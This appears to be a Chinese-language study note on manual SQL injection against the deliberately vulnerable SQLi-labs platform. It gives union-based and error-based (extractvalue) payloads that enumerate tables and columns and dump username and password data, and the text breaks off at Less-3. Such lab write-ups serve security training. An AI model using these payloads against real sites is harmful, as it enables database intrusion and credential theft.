MySQL手工注入学习 SQLi-labs 手工注入学习
以下是通过SLQi-labs平台的部分简单例题的手工注入过程
Less-1:union联合查询注入页面提示:Please input the ID as parameter with numeric value
我们首先构造id参数值:
?id=1\' or 1=1--+确定存在注入点,并猜测SQL语句为:
select [字段] from [表] where [id]="$id"; 猜解列数:因为UNION联合语句函数的格式要求,UNION后的联合语句的回显字段数要和UNION前的回显列数一致……
order by * union select 1,2,…… 爆表:注意:id的value我们需要给一个不存在结果的value
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+group_concat(): 将group by产生的同一个分组中的值连接起来,返回一个字符串结果
上段~将数据库中的所有表名拼接成一个字符串返回
爆字段: union select 1,group_concat(column_name),3 from information_schema.columns where table_name=\'emails\' --+ 爆数据: union select 1,group_concat(id,0x7e,email_id),3 from emails --+ Less-1:报错注入 爆表: and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+extractvalue(XML,XPath)从目标XML中返回包含查询值得字符串
参数XML:String格式,为XML文档对象得名称
参数XPath:xpath格式得字符串
因为我们在xpath输入的不是要求的xpath格式的字符串,所以函数会报错返回xpath参数内容
xpath会被带入mysql进行执行操作,发现不是xpath格式,但是只有在执行后才会发现,就会执行concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())sql代码,查询内容并且concat拼接字符串,随后由extractvalue函数返回报错~
爆字段: and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=\'users\')))=1 --+ 爆数据: and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+从返回的结果发现问题,没有显示全部的字段信息;可以利用筛选过滤条件来
and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users where username not in (\'Dumb\',\'Angelina\'))))=1 --+利用条件where约束来过滤掉我们已知的字段信息,于是mysql在执行的时候就会越过Dumb和Angelina信息,显示后面的信息……以此类推!我们就可以通过不断的条件绕过回显的模式来获取所有内容!在很多情况下我们发现无法完全回显内容,都可以利用这个方法来绕过已知字段信息
Less-2通过判断注入点的语句,判断注入点为数字型注入点:
?id=1 and 1=1 --+ #判断数字型注入点 ?id=1\' and 1=1 --+ #判断字符型注入点 union联合注入爆表: ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 报错注入报表: ?id=0 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+Less2的具体攻击方法和Less1一样,不同的是Less2是数字型注入,不需要单引号闭合
Less-3判断注入点